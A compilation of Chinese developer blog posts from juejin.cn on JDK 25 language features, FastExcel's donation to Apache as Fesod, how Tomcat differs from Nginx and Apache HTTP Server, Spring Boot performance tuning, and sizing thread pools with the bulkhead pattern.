if (obj instanceof int i) {
System.out.println("这是一个int类型: " + i);
}
}
这样就可以像处理对象类型一样,对基本类型进行更安全、更简洁的类型匹配和转换,进一步消除了 Java 中的模板代码。
JEP 505: 结构化并发(第五次预览)
JDK 19 引入了结构化并发,一种多线程编程方法,目的是为了通过结构化并发 API 来简化多线程编程,并不是为了取代java.util.concurrent,目前处于孵化器阶段。
结构化并发将不同线程中运行的多个任务视为单个工作单元,从而简化错误处理、提高可靠性并增强可观察性。也就是说,结构化并发保留了单线程代码的可读性、可维护性和可观察性。
结构化并发的基本 API 是StructuredTaskScope,它支持将任务拆分为多个并发子任务,在它们自己的线程中执行,并且子任务必须在主任务继续之前完成。
StructuredTaskScope 的基本用法如下:
try (var scope = new StructuredTaskScope<Object>()) {
// 使用fork方法派生线程来执行子任务
Future<Integer> future1 = scope.fork(task1);
Future<String> future2 = scope.fork(task2);
// 等待线程完成
scope.join();
// 结果的处理可能包括处理或重新抛出异常
... process results/exceptions ...
} // close
结构化并发非常适合虚拟线程,虚拟线程是 JDK 实现的轻量级线程。许多虚拟线程共享同一个操作系统线程,从而允许非常多的虚拟线程。
JEP 511: 模块导入声明
该特性第一次预览是由 JEP 476 (JDK 23 )提出,随后在 JEP 494 (JDK 24)中进行了完善,JDK 25 顺利转正。
模块导入声明允许在 Java 代码中简洁地导入整个模块的所有导出包,而无需逐个声明包的导入。这一特性简化了模块化库的重用,特别是在使用多个模块时,避免了大量的包导入声明,使得开发者可以更方便地访问第三方库和 Java 基本类。
此特性对初学者和原型开发尤为有用,因为它无需开发者将自己的代码模块化,同时保留了对传统导入方式的兼容性,提升了开发效率和代码可读性。
// 导入整个 java.base 模块,开发者可以直接访问 List、Map、Stream 等类,而无需每次手动导入相关包
import module java.base;
public class Example {
public static void main(String[] args) {
String[] fruits = { "apple", "berry", "citrus" };
Map<String, String> fruitMap = Stream.of(fruits)
.collect(Collectors.toMap(
s -> s.toUpperCase().substring(0, 1),
Function.identity()));
System.out.println(fruitMap);
}
}
JEP 513: 灵活的构造函数体
该特性第一次预览是由 JEP 447 (JDK 22)提出,随后在 JEP 482 (JDK 23)和 JEP 492 (JDK 24)经历了预览,JDK 25 顺利转正。
Java 要求在构造函数中,super(...) 或 this(...) 调用必须作为第一条语句出现。这意味着我们无法在调用父类构造函数之前在子类构造函数中直接初始化字段。
灵活的构造函数体解决了这一问题,它允许在构造函数体内,在调用 super(..) 或 this(..) 之前编写语句,这些语句可以初始化字段,但不能引用正在构造的实例。这样可以防止在父类构造函数中调用子类方法时,子类的字段未被正确初始化,增强了类构造的可靠性。
这一特性解决了之前 Java 语法限制了构造函数代码组织的问题,让开发者能够更自由、更自然地表达构造函数的行为,例如在构造函数中直接进行参数验证、准备和共享,而无需依赖辅助方法或构造函数,提高了代码的可读性和可维护性。
class Person {
private final String name;
private int age;
public Person(String name, int age) {
if (age < 0) {
throw new IllegalArgumentException("Age cannot be negative.");
}
this.name = name; // 在调用父类构造函数之前初始化字段
this.age = age;
// ... 其他初始化代码
}
}
class Employee extends Person {
private final int employeeId;
public Employee(String name, int age, int employeeId) {
this.employeeId = employeeId; // 在调用父类构造函数之前初始化字段
super(name, age); // 调用父类构造函数
// ... 其他初始化代码
}
}
JEP 508: 向量 API(第十次孵化)
向量计算由对向量的一系列操作组成。向量 API 用来表达向量计算,该计算可以在运行时可靠地编译为支持的 CPU 架构上的最佳向量指令,从而实现优于等效标量计算的性能。
向量 API 的目标是为用户提供简洁易用且与平台无关的表达范围广泛的向量计算。
这是对数组元素的简单标量计算:
void scalarComputation(float[] a, float[] b, float[] c) {
for (int i = 0; i < a.length; i++) {
c[i] = (a[i] * a[i] + b[i] * b[i]) * -1.0f;
}
}
这是使用 Vector API 进行的等效向量计算:
static final VectorSpecies<Float> SPECIES = FloatVector.SPECIES_PREFERRED;
void vectorComputation(float[] a, float[] b, float[] c) {
int i = 0;
int upperBound = SPECIES.loopBound(a.length);
for (; i < upperBound; i += SPECIES.length()) {
// FloatVector va, vb, vc;
var va = FloatVector.fromArray(SPECIES, a, i);
var vb = FloatVector.fromArray(SPECIES, b, i);
var vc = va.mul(va)
.add(vb.mul(vb))
.neg();
vc.int0Array(c, i);
}
for (; i < a.length; i++) {
c[i] = (a[i] * a[i] + b[i] * b[i]) * -1.0f;
}
}
尽管仍在孵化中,但其第十次迭代足以证明其重要性。它使得 Java 在科学计算、机器学习、大数据处理等性能敏感领域,能够编写出接近甚至媲美 C++等本地语言性能的代码。这是 Java 在高性能计算领域保持竞争力的关键。
从 JDK8 到 JDK24 每一版版本的新特性详细介绍,可以在 JavaGuide 官方网站( javaguide.cn )上找到。
来源:juejin.cn/post/7551104474233831475
FastExcel消失了,原来捐给了Apache
关注我的公众号:【编程朝花夕拾】,可获取首发内容。
01 引言
FastExcel仅存在江湖上出现了两年,可能很多开发者还不知道这个项目。但是说到阿里的EasyExcel,大家肯定耳熟能详。
没错,FastExcel就是EasyExcel的作者离开阿里之后,重新维护的加强版EasyExcel,而此后,阿里的EasyExcel宣布不再更新进入维护期。
这两天,无意间看到一篇文章介绍的Apache新项目,怎么看怎么眼熟,和FastExcel如出一撤。了解下来,才发现原来是同一个项目,只是背景更加强大了。
02 Fesod

2.1 简介
Apache Fesod (Incubating)是一个高性能、内存高效的 Java 库,用于读写电子表格文件,旨在简化开发并确保可靠性。
Apache Fesod (Incubating) 可以为开发者和企业提供极大的自由度和灵活性。我们计划在未来引入更多新功能,以持续提升用户体验和工具可用性。Apache Fesod (Incubating) 致力于成为您处理电子表格文件的最佳选择。
名称 fesod(发音为 /ˈfɛsɒd/),是 fast easy spreadsheet and other documents(快速简单的电子表格和其他文档)的首字母缩写,表达了项目的起源、背景和愿景。
Apache Fesod目前处于孵化器,还没有正式毕业。最低的Java版本也必须是1.8。
GitHub地址:github.com/apache/feso…
官网地址:fesod.apache.org/
2.2 Maven依赖
以后要使用的依赖:
<dependency>
<groupId>org.apache.fesod</groupId>
<artifactId>fesod</artifactId>
<version>version</version>
</dependency>
由于目前正处于Apache的孵化期,暂时没有稳定版本。要使用的话,目前最新的fastexcel 1.3.0的版本。
<dependency>
<groupId>cn.idev.excel</groupId>
<artifactId>fastexcel</artifactId>
<version>1.3.0</version>
</dependency>

2.3 大致时间线
- 2024.09.11
easyexcel发布最后一个稳定版本,easyexcel 4.0.3 - 2024.11.06
easyexcel阿里官方宣布停更。只修复BUG - 2024.12.05
easyexcel作者新开仓库,取名FastExcel,并发布第一个版本,fastexcel 1.0.0 - 2025.01.14
fastExcel发布第二个版本稳定版,fastexcel 1.1.0 - 2025.04.14
fastExcel发布第三个版本稳定版,fastexcel 1.2.0 - 2025.08.23
fastExcel发布最后一个稳定版本,fastexcel 1.3.0 - 2025.09.04
easyexcelGitHub仓库归档,仅可读 - 2025.09.17
fastExcel正式进入Apache服化器,更名Fesod
从此,正式成为Apache的产物,所谓Apache出品必是精品,这么强大的维护团队,期待更多的功能以及更好的性能。
其实在FastExcel作者创建仓库时,第一次的名字并不是FastExcel,好像是EasyExcel plus,具体什么不记得了。但确实存在过。
2.4 怀疑
网上搜了一下fastExcel捐给Apache的消息有限,并没有官方说明。还特意看了下Apache Fesod团队的人员有没有Fastexcel的作者。看了之后确实有。

2.5 熟悉的味道
案例这里就不在赘述,我们看看官方即可:

新的项目使用FesodSheet调起读写方法,其他和原来的一致。
03 小结
不追求新功能的可以继续使用原来的fastexcel或者easyexcel,大部分场景,简单的导入导出功能已经足够使用。渴望新功能的,可以期待一下fesod的正式版。
来源:juejin.cn/post/7598071804969812006
Tomcat 与 Nginx、Apache 的区别是什么?
这个问题本身有个误解:把三个东西都叫「web server」,会让人以为它们是同一种东西的三种实现。其实不是。Nginx 和 Apache 是 HTTP 服务器,Tomcat 是 Servlet 容器,它们干的活不在一个层次上。
Nginx 和 Apache(一般说的 Apache 指的是 Apache HTTP Server,也就是 httpd)是 HTTP 服务器:收 HTTP 请求、按配置干活、回 HTTP 响应。它们擅长扛静态文件、做反向代理、做负载均衡,但它们不执行 Java 代码。你打一个 .war 包丢给 Nginx,Nginx 不知道怎么处理——它只会返回 404 或者把请求转给别人。
Tomcat 是 Servlet 容器,不是完整的 Java EE 应用服务器(那是 WildFly、WebLogic、WebSphere 干的事,它们支持 EJB、JMS、JTA 等完整规范)。Tomcat 只实现 Servlet 和 JSP 规范,核心能力是:把 HTTP 请求交给你的 Java 代码去处理,再把结果变成 HTTP 响应发回去。
所以「Java 后台程序能不能用 Apache 和 Nginx」——能,而且生产环境里经常是「Nginx/Apache 在前,Tomcat 在后」:前面负责扛流量、静态资源、HTTPS 终结、负载均衡,后面专门跑 Java。
Nginx 和 Apache:都是 HTTP 服务器,架构不一样
两者都能做静态文件服务、反向代理、负载均衡,但内部设计完全不同。
Apache 有三种工作模式(MPM):prefork 是一个连接一个进程,worker 是多进程+多线程,event 是在 worker 基础上优化了 keep-alive 连接的处理。现代 Apache(2.4+)默认用 event MPM,处理 keep-alive 的方式已经接近事件驱动了,不完全是老式的「一个连接占一个线程」。但不管哪种模式,Apache 的并发上限都受限于进程/线程数——每个线程有自己的栈空间(Linux 默认 8MB),1000 个线程光栈就要 8GB 内存,还没算堆上的数据。所以 Apache 的并发连接数一般在几百到几千这个量级。
Nginx 是另一种思路:少量 worker 进程 + 事件循环。每个 worker 用 epoll(Linux)/ kqueue(macOS)做 I/O 多路复用,一个 worker 可以同时挂着几万条连接。大部分连接在等 I/O,不需要单独的线程,也就不需要那 8MB 的栈空间。所以同样一台机器,Nginx 能撑的并发连接数比 Apache 高一个数量级。
这也是很多人说「Nginx 比 Apache 性能好」的原因——不是 Nginx 处理单个请求更快,而是它用更少的资源就能维持大量连接。 如果你的场景是几十个并发、主要跑 PHP,Apache + mod_php 用着挺好,没必要换。但如果要扛几万并发、做反向代理或者负载均衡,Nginx 的模型更合适。
Tomcat:能直接对外,但不擅长
这里要纠正一个常见的说法:「Tomcat 必须放在 Nginx 后面」。
Tomcat 自带 HTTP 连接器(Coyote),可以直接监听 80 或 443 端口对外服务。开发的时候大家天天直接访问 localhost:8080,没什么问题。Spring Boot 更进一步——内嵌 Tomcat 打成一个 jar 包,java -jar 直接跑,连单独部署 Tomcat 都省了。
很多微服务架构里,每个服务就是一个内嵌 Tomcat 的 Spring Boot 应用,前面挂一个 API 网关(Spring Cloud Gateway、Kong 之类的)做路由和鉴权,根本没有单独部署 Nginx 的环节。
但 Tomcat 直接对外有几个短板:
静态文件性能。 Nginx 处理静态文件用的是 sendfile 系统调用(之前零拷贝那篇讲过),数据不经过用户空间,直接从磁盘到网卡。Tomcat 处理静态文件要经过 Java 的 IO 层,多了一次拷贝和 JVM 的开销。量小的时候感知不到,量大了差距就出来了。
SSL 终结。 Nginx 的 SSL 实现基于 OpenSSL,经过大量优化,支持 session 复用、OCSP stapling 这些。Tomcat 也能做 SSL,但性能和配置灵活性都不如 Nginx。把 SSL 卸载到 Nginx,Tomcat 和 Nginx 之间走 HTTP 明文,Tomcat 的负担更轻。
限流、缓存、负载均衡。 这些 Nginx 用几行配置就能搞定,Tomcat 要么不支持,要么需要写 Java 代码或者引入额外组件。
所以典型的生产部署是这样的:
upstream tomcat_backend {
server 127.0.0.1:8080;
server 127.0.0.1:8081; # 多实例负载均衡
}
server {
listen 443 ssl;
ssl_certificate /etc/nginx/cert.pem;
ssl_certificate_key /etc/nginx/key.pem;
location /static/ {
alias /var/www/static/;
}
location / {
proxy_pass http://tomcat_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
Nginx 扛 SSL、吐静态文件、做负载均衡,动态请求转给后面的 Tomcat。但这不是唯一的架构——小项目、内部系统、微服务里 Tomcat 直接对外也很常见,取决于你的流量规模和运维需求。
为啥早年都是 Apache + Tomcat
早期 Nginx 还没普及的时候,Apache 是 Linux 上默认的 HTTP 服务器。Java 项目的标准搭配是 Apache + mod_jk(或 mod_proxy)+ Tomcat:Apache 在前面接请求,通过 AJP 协议或 HTTP 代理转给 Tomcat。
mod_jk 用的是 AJP 协议(Apache JServ Protocol),比 HTTP 更紧凑,省了 HTTP 头的解析开销。但 AJP 协议在 2020 年爆出过 Ghostcat 漏洞(CVE-2020-1938),之后很多团队开始关闭 AJP 端口,改用 HTTP 代理。
现在新项目基本都用 Nginx 替代 Apache 当入口了。Apache 在需要 .htaccess(目录级配置覆盖)或者跑 mod_php 的场景还有优势,但纯做反向代理和负载均衡,Nginx 的资源占用和并发能力都更好。
怎么判断你的项目该用哪种组合
Spring Boot 微服务、内部系统、流量不大: 内嵌 Tomcat 直接对外,前面挂个网关或者云厂商的负载均衡器就行,不需要单独部署 Nginx。
对外的 Web 应用、有静态资源、需要 HTTPS: Nginx 在前做 SSL 终结和静态资源,动态请求 proxy_pass 到 Tomcat。
PHP + Java 混合部署(老项目): Apache 跑 mod_php 处理 PHP,同时 mod_proxy 把 Java 请求转给 Tomcat。不过这种架构越来越少了。
纯静态站点、CDN 回源、API 网关: 只需要 Nginx,不需要 Tomcat。
Nginx 和 Tomcat 不是竞争关系,Apache 和 Nginx 才是。而即便是 Apache 和 Nginx,在大部分场景下也不是「谁好谁差」的问题——Nginx 在高并发反向代理上更强,Apache 在需要 .htaccess 和动态模块加载的场景更方便。
来源:juejin.cn/post/7609933479262715950
彻底重绘Spring Boot性能版图,资源占用缩减80%
很多开发者还在用十年前的习惯写现在的 Spring Boot 应用。这种技术代差不仅让代码显得臃肿,更是在浪费服务器的真金白银。本文整理了一些进阶技巧,帮助优化 Spring Boot 应用的运行效率与代码质量。

准备工作:快速搭建 Java 环境
编写代码前需要安装 JDK。但对新手来说,手动配置环境变量和切换版本其实挺浪费时间的。
而 ServBay 提供了集成化的解决方案,支持一键部署 Java 环境,这样开发者可以快速切换不同的 JDK 版本,无需手动调整系统配置,让开发环境的搭建变得高效且规范。

精细化配置 JVM 内存降低云端成本
很多 Spring Boot 应用在云服务器上裸奔。默认的 JVM 配置往往会申请过多的内存,导致账单金额飙升。
如果我们运行的是微服务,其实根本不需要动辄 4GB 的堆空间。我通常会把初始内存和最大内存压到一个合理的范围。
# 限制内存并指定垃圾回收线程数
export JAVA_OPTS="-Xms512m -Xmx1024m -XX:+UseContainerSupport -XX:ParallelGCThreads=2 -XX:MaxMetaspaceSize=256m"
java $JAVA_OPTS -jar app-service.jar
加上 -XX:+UseContainerSupport 后,JVM 能准确识别容器的边界。同时,我会手动限制 Tomcat 的线程池大小,因为默认的 200 个线程对大多数中小型业务来说完全是浪费。
# application.yaml 里的精简配置
server:
tomcat:
threads:
max: 60
通过这些设置,单个容器的内存占用通常能降低 20% 以上,从而减少云服务器的节点数量。
采用现代 Java 语法精简业务逻辑
如果代码库里到处是冗长的 Getter 和 Setter,或者还在用复杂的 if-else 处理枚举,那就赶紧升级新版 Java。
使用 Record 定义数据模型
Record 适合用于 DTO 或 API 返回对象。我现在的 API 数据传输对象全部改用 Record。
// 这一行代码就搞定了构造、Getter 和 toString
public record UserResponse(Long id, String nickname, String email) {}
文本块与 Switch 表达式
文本块解决了多行字符串拼接时的转义符困扰,而 Switch 表达式则提供了更安全的返回值方式。
// 使用文本块编写 SQL
String sql = """
SELECT * FROM product_info
WHERE category = 'ELECTRONICS'
AND stock > 0
""";
// Switch 表达式直接返回结果
String categoryName = switch (typeCode) {
case 1 -> "电子产品";
case 2 -> "家居生活";
default -> "其他类型";
};
Switch 的模式匹配
Java 17 引入的模式匹配让类型判断更加直观,减少了显式的强制类型转换。所以,处理复杂的业务分支时,我会用增强型的 Switch 配合模式匹配。
// 处理不同类型的事件消息
static String handleEvent(Object event) {
return switch (event) {
case OrderEvent o -> "订单编号:" + o.id();
case UserEvent u -> "用户名称:" + u.name();
case null -> "空消息";
default -> "未知事件";
};
}
善用 Stream API 的增强功能
Stream API 在数据处理方面持续进化。新版增加了更丰富的收集器与过滤逻辑,使得内存中的数据聚合与转换更加高效。合理使用并行流处理大规模数据集,可以充分利用多核 CPU 的性能,缩短复杂逻辑的执行时间。
启用现代垃圾回收器减少停顿
在高并发场景下,我更倾向于使用 ZGC 这种低延迟垃圾回收器。它能把停顿时间压减到 1 毫秒以内,用户几乎感知不到卡顿。
如果对启动速度有极端要求,比如在函数计算场景下,我会利用 GraalVM 将 Spring Boot 编译为原生镜像(Native Image)。
# 构建原生执行文件
./mvnw native:compile -Pnative
这样编译出来的程序启动时间从几秒缩短到几十毫秒,内存占用甚至能砍掉 80%。虽然编译过程变久了,但运行时换来的性能增益它值得。
耗时任务必须异步化
在 Controller 里同步生成 PDF 或者发送复杂的邮件的都叉出去,这会直接堵死 Web 线程。
现在的做法是把这些重活直接扔进消息队列,让主流程瞬间返回。
// 投递到 RabbitMQ 或 Kafka@PostMapping("/submit-report")
public ResponseEntity<String> handleReport(@RequestBody ReportConfig config) {
taskQueue.send("report_gen_topic", config);
return ResponseEntity.accepted().body("报告生成任务已启动,请稍后查看");
}
把计算压力转移到后端的 Worker 节点上,这样主 API 就能保持极高的响应速度,即便在高并发流量下也不会崩溃。
总结
优化 Spring Boot 应用是一个系统性的工程。如果你还在忍受冗长的编译等待、高昂的云端开支和莫名其妙的停顿,现在就应该改变做法了。快来试试这些技巧吧。
来源:juejin.cn/post/7609660097783300123
你的程序应该启动多少线程?
"线程数等于 CPU 核数"——这可能是程序员最耳熟能详的性能优化建议之一。
但当你真正着手设计一个系统时,你会发现事情远没有这么简单:Web 服务器动辄上千线程,游戏引擎可能只用寥寥几个,而一些高性能中间件甚至会创建 CPU 核数两倍的线程。到底谁是对的?
这篇文章试图回答一个看似简单的问题:你的程序应该启动多少线程?
一、那条广为流传的经验法则
几乎每本并发编程的书都会告诉你:
对于 CPU 密集型任务,线程数应等于 CPU 核数(或核数 + 1)。
这条规则背后的逻辑很直观:每个 CPU 核心同一时刻只能执行一个线程。如果线程数超过核心数,多余的线程只能等待,还会带来额外的上下文切换开销。如果线程数少于核心数,又会让部分核心空转。
这条规则没有错,但它只回答了一个非常狭窄的问题:当你的唯一目标是最大化 CPU 利用率时,应该用多少线程?
现实中的软件系统要复杂得多。
二、线程的真实作用:不只是并行
当我们谈论"为什么需要线程"时,教科书往往只强调一点:并行计算。但在实际工程中,线程至少承担着三种截然不同的职责:
1. 通过异步避免阻塞
想象一个 GUI 程序:用户点击按钮后,程序需要从网络加载数据。如果在主线程中同步等待网络响应,整个界面就会冻结。
// 糟糕的做法:阻塞主线程
void onClick() {
Data data = network.fetchSync(); // 界面卡住 3 秒
updateUI(data);
}
// 更好的做法:用单独线程处理阻塞操作
void onClick() {
new Thread(() -> {
Data data = network.fetchSync();
runOnUIThread(() -> updateUI(data));
}).start();
}
这里的线程不是为了并行计算,而是为了不阻塞主线程。即使在单核 CPU 上,这种设计也是有意义的。
2. 故障隔离:舱壁模式
在微服务架构中,一个服务可能依赖多个下游系统。如果所有请求共享同一个线程池,当某个下游系统变慢时,线程会被逐渐耗尽,最终导致整个服务不可用——这就是级联故障。
┌─────────────────────────────────────────────────┐
│ 共享线程池 │
│ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │ T1 │ │ T2 │ │ T3 │ │ T4 │ │ T5 │ │
│ │阻塞 │ │阻塞 │ │阻塞 │ │阻塞 │ │阻塞 │ │
│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │
│ │ │ │ │ │ │
│ └───────┴───────┼───────┴───────┘ │
│ ▼ │
│ 下游服务 A(响应变慢) │
│ │
│ 结果:所有线程被 A 占满,B 和 C 的请求无法处理 │
└─────────────────────────────────────────────────┘
舱壁模式(Bulkhead Pattern)借鉴了船舶设计的思想:将船体分隔成多个水密舱,一个舱室进水不会导致整艘船沉没。
┌──────────────────────────────────────────────────┐
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 线程池 A │ │ 线程池 B │ │ 线程池 C │ │
│ │ (3线程) │ │ (3线程) │ │ (3线程) │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ 下游服务A 下游服务B 下游服务C │
│ (变慢) (正常) (正常) │
│ │
│ 结果:A 的线程池耗尽,但 B 和 C 不受影响 │
└──────────────────────────────────────────────────┘
这种设计会让总线程数远超 CPU 核数,但换来的是系统的韧性。
3. 简化抽象:让代码更易理解
有时候,多线程的目的纯粹是为了代码组织。
考虑一个游戏服务器需要同时处理:
- 网络消息收发
- 游戏逻辑 tick
- 定时任务调度
- 日志异步写入
- 监控指标上报
你当然可以用一个复杂的事件循环把它们全部塞进单线程:
while True:
if has_network_event():
handle_network()
if time_for_game_tick():
game_tick()
if has_scheduled_task():
run_task()
if log_buffer_not_empty():
flush_logs()
# ... 代码很快变成一团乱麻
但更清晰的做法是为每个职责分配独立的线程:
Thread("network", network_loop)
Thread("game-tick", game_loop)
Thread("scheduler", scheduler_loop)
Thread("logger", log_writer_loop)
这些线程大部分时间可能都在 sleep 或等待 I/O,根本不争抢 CPU。但它们让代码结构变得清晰:每个线程有明确的职责和生命周期。
三、线程的真实开销
既然线程有这么多用途,是不是可以随意创建?在回答这个问题之前,我们需要理解线程在现代操作系统中的真实开销。
1. 创建开销
创建一个线程需要:
- 分配内核数据结构(Linux 上是
task_struct,约 2-3 KB) - 分配用户态栈空间
- 在调度器中注册
- 各种安全检查和初始化
在 Linux 上,创建一个线程大约需要 10-30 微秒。这个开销对于长生命周期的线程可以忽略,但如果频繁创建销毁(如"每个请求一个线程"的模型),累积起来就相当可观。
// 简单测试:创建 10000 个线程
for (int i = 0; i < 10000; i++) {
pthread_create(&threads[i], NULL, empty_func, NULL);
}
// 在普通机器上可能需要 100-300ms
2. 内存占用
每个线程需要独立的栈空间。默认配置下:
- Linux:8 MB(虚拟内存),实际物理内存按需分配
- Windows:1 MB(commit)
- macOS:512 KB(主线程 8 MB)
1000 个线程,按 Linux 默认配置,光栈空间就需要 8 GB 的虚拟地址空间。虽然物理内存是惰性分配的,但这个数字仍然令人警醒。
你可以通过调整栈大小来优化:
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 256 * 1024); // 256 KB
pthread_create(&thread, &attr, func, NULL);
或者在 Java 中:
Thread thread = new Thread(null, runnable, "name", 256 * 1024);
// 或者 JVM 参数 -Xss256k
3. 上下文切换
这是最常被提及的开销。当 CPU 从执行线程 A 切换到线程 B 时,需要:
- 保存现场:寄存器状态、程序计数器、栈指针等
- 切换页表(如果是不同进程的线程)
- 恢复现场:加载线程 B 的状态
- 缓存失效:这往往是最大的隐藏开销
纯粹的上下文切换本身只需要 1-5 微秒。但切换后,新线程访问的数据很可能不在 CPU 缓存中,需要从内存重新加载。这种缓存污染导致的性能损失可能比切换本身高出一个数量级。
┌─────────────────────────────────────────────────────┐
│ 上下文切换的真实开销 │
├─────────────────────────────────────────────────────┤
│ 直接开销(保存/恢复状态) ~1-5 μs │
│ 间接开销(缓存失效) ~10-100 μs │
│ 总体影响 视工作负载而定 │
└─────────────────────────────────────────────────────┘
4. 调度开销
操作系统需要维护运行队列、就绪队列,执行调度算法来决定下一个运行的线程。线程数越多,调度器的负担越重。
在极端情况下(数万线程),光是遍历调度队列都会成为性能瓶颈。
量化视角
让我们把这些数字放在一起:
| 开销类型 | 量级 | 影响 |
|---|---|---|
| 创建线程 | 10-30 μs | 频繁创建时累积 |
| 栈内存 | 256KB-8MB/线程 | 限制最大线程数 |
| 上下文切换 | 1-5 μs | 高频切换时累积 |
| 缓存失效 | 10-100 μs | 最大的隐藏开销 |
对于大多数应用来说,几十到几百个线程是完全可以接受的。现代 Linux 内核可以轻松处理上万个线程,只要它们不都在同时争抢 CPU。
四、决策框架:按用途确定线程数
理解了线程的多重作用和真实开销后,我们可以建立一个决策框架:
1. CPU 密集型计算:等于核数
如果线程的主要工作是计算(数学运算、数据处理、加密解密等),坚守经典法则:
int threadCount = Runtime.getRuntime().availableProcessors();
// 或者 核数 + 1,留一个处理偶发的 I/O
这里的逻辑很简单:更多的线程只会增加切换开销,不会提升吞吐量。
实际案例:
- 图像处理库
- 科学计算框架
- 视频编解码器
2. I/O 密集型:优先考虑非阻塞
如果线程大部分时间在等待 I/O(网络、磁盘、数据库),你有两个选择:
选项 A:非阻塞 I/O + 事件循环(推荐)
# Python asyncio
async def fetch_all(urls):
async with aiohttp.ClientSession() as session:
tasks = [fetch(session, url) for url in urls]
return await asyncio.gather(*tasks)
# 用少量线程处理大量并发连接
Node.js、Nginx、Redis 都采用这种模型,用极少的线程处理海量并发。
选项 B:线程池 + 阻塞 I/O
如果你必须使用阻塞 I/O(比如 JDBC 不支持异步),可以用经典公式:
线程数 = CPU 核数 × (1 + I/O 等待时间 / CPU 计算时间)
如果平均每个请求花 100ms 等待 I/O、1ms 做计算,在 8 核机器上:
线程数 = 8 × (1 + 100/1) = 808
这只是理论上限。实际中还要考虑:
- 下游系统能否承受这么多并发
- 内存是否足够
- 连接池大小限制
3. 故障隔离:按风险域划分
为每个可能独立失败的依赖分配独立的线程池:
// Hystrix/Resilience4j 风格
ThreadPoolBulkhead paymentPool = ThreadPoolBulkhead.of("payment",
ThreadPoolBulkheadConfig.custom()
.maxThreadPoolSize(10)
.coreThreadPoolSize(5)
.queueCapacity(20)
.build());
ThreadPoolBulkhead inventoryPool = ThreadPoolBulkhead.of("inventory",
ThreadPoolBulkheadConfig.custom()
.maxThreadPoolSize(8)
.coreThreadPoolSize(4)
.queueCapacity(15)
.build());
ThreadPoolBulkhead shippingPool = ThreadPoolBulkhead.of("shipping",
ThreadPoolBulkheadConfig.custom()
.maxThreadPoolSize(6)
.coreThreadPoolSize(3)
.queueCapacity(10)
.build());
每个池的大小取决于:
- 下游服务的正常响应时间:响应越慢,需要越多线程来维持吞吐量
- 可接受的最大并发数:下游服务能承受多少并发请求
- 降级策略:线程池满时是快速失败、排队等待,还是返回降级结果
计算舱壁大小的方法
假设某个下游服务:
- 正常响应时间:50ms
- 期望吞吐量:每秒 100 个请求
- 可接受的排队延迟:100ms
最小线程数 = 吞吐量 × 响应时间
= 100 × 0.05
= 5 个线程
队列容量 = 吞吐量 × 可接受排队延迟
= 100 × 0.1
= 10 个请求
但还要考虑异常情况。如果下游服务变慢(响应时间从 50ms 变成 500ms):
此时需要的线程数 = 100 × 0.5 = 50 个线程
这就是舱壁要保护的场景。我们不应该给它 50 个线程,而是:
ThreadPoolBulkhead.of("payment",
ThreadPoolBulkheadConfig.custom()
.maxThreadPoolSize(10) // 硬上限:最多 10 个线程
.coreThreadPoolSize(5) // 正常情况够用
.queueCapacity(20) // 允许短暂排队
.build());
// 当下游变慢时:
// - 10 个线程被占满
// - 20 个请求在队列等待
// - 第 31 个请求立即被拒绝(快速失败)
// - 系统其他部分不受影响
舱壁 vs 断路器
舱壁模式常与断路器(Circuit Breaker)配合使用:
┌─────────────────────────────────────────────────────────┐
│ 请求流程 │
│ │
│ 请求 ──→ 断路器 ──→ 舱壁(线程池) ──→ 下游服务 │
│ │ │ │
│ │ │ │
│ 检查是否熔断 检查是否有空闲线程 │
│ │ │ │
│ ▼ ▼ │
│ 熔断则快速失败 无空闲则拒绝或排队 │
│ │
└─────────────────────────────────────────────────────────┘
// Resilience4j 组合使用示例
CircuitBreaker circuitBreaker = CircuitBreaker.of("payment",
CircuitBreakerConfig.custom()
.failureRateThreshold(50) // 失败率超过 50% 则熔断
.waitDurationInOpenState(Duration.ofSeconds(30))
.build());
ThreadPoolBulkhead bulkhead = ThreadPoolBulkhead.of("payment", ...);
Supplier decoratedSupplier = Decorators
.ofSupplier(() -> paymentService.call())
.withCircuitBreaker(circuitBreaker) // 先检查断路器
.withThreadPoolBulkhead(bulkhead) // 再进入线程池
.withFallback(ex -> fallbackResponse()) // 降级响应
.decorate();
舱壁的代价
舱壁模式会显著增加系统的总线程数:
传统模式:
1 个共享线程池 × 50 线程 = 50 线程
舱壁模式:
支付服务池 10 线程
库存服务池 8 线程
物流服务池 6 线程
用户服务池 8 线程
通知服务池 4 线程
─────────────────────
总计 36 线程(但每个池都有冗余)
实际配置时考虑峰值:
每个池 ×1.5 = 54 线程
这看起来线程更多了,但关键区别在于:
| 对比项 | 共享线程池 | 舱壁模式 |
|---|---|---|
| 总线程数 | 较少 | 较多 |
| 单点故障影响 | 整个系统 | 仅一个服务 |
| 资源利用率 | 更高 | 有冗余浪费 |
| 容量规划 | 简单 | 需要分别规划 |
| 故障恢复 | 慢(需等待所有线程释放) | 快(其他池不受影响) |
在微服务架构中,隔离性通常比资源利用率更重要。舱壁带来的额外线程开销,换来的是系统在部分故障时仍能提供服务的能力。
4. 简化抽象:按职责最小化
当线程用于代码组织时,遵循够用就好原则:
// 典型的服务端应用线程分配
Thread acceptor = new Thread(this::acceptLoop); // 1个:接受连接
Thread[] workers = new Thread[cpuCores]; // N个:处理业务
Thread timer = new Thread(this::timerLoop); // 1个:定时任务
Thread logger = new Thread(this::logWriter); // 1个:异步日志
Thread monitor = new Thread(this::metricsReport); // 1个:监控上报
// 总计:cpuCores + 4 个线程
这些辅助线程大部分时间在休眠,不会与 worker 线程竞争 CPU。关键是确保它们:
- 不会执行耗时的计算
- 不会频繁唤醒
- 有明确的单一职责
五、警惕"线程风暴"
即使每个决策单独看都合理,累积起来也可能造成问题。
叠加效应
假设你的 Java 服务:
- Tomcat 线程池:200 个
- 数据库连接池:每个连接有后台线程,50 个
- Redis 客户端池:20 个
- Kafka 消费者:10 个分区 × 3 个消费者组 = 30 个
- 定时任务调度器:核心线程 10 个
- JVM GC 线程:8 个
- 其他框架的后台线程:若干
加起来可能有 300-500 个线程,而你的机器可能只有 8 个 CPU 核心。
抖动风险
在某些时刻,大量线程可能同时被唤醒:
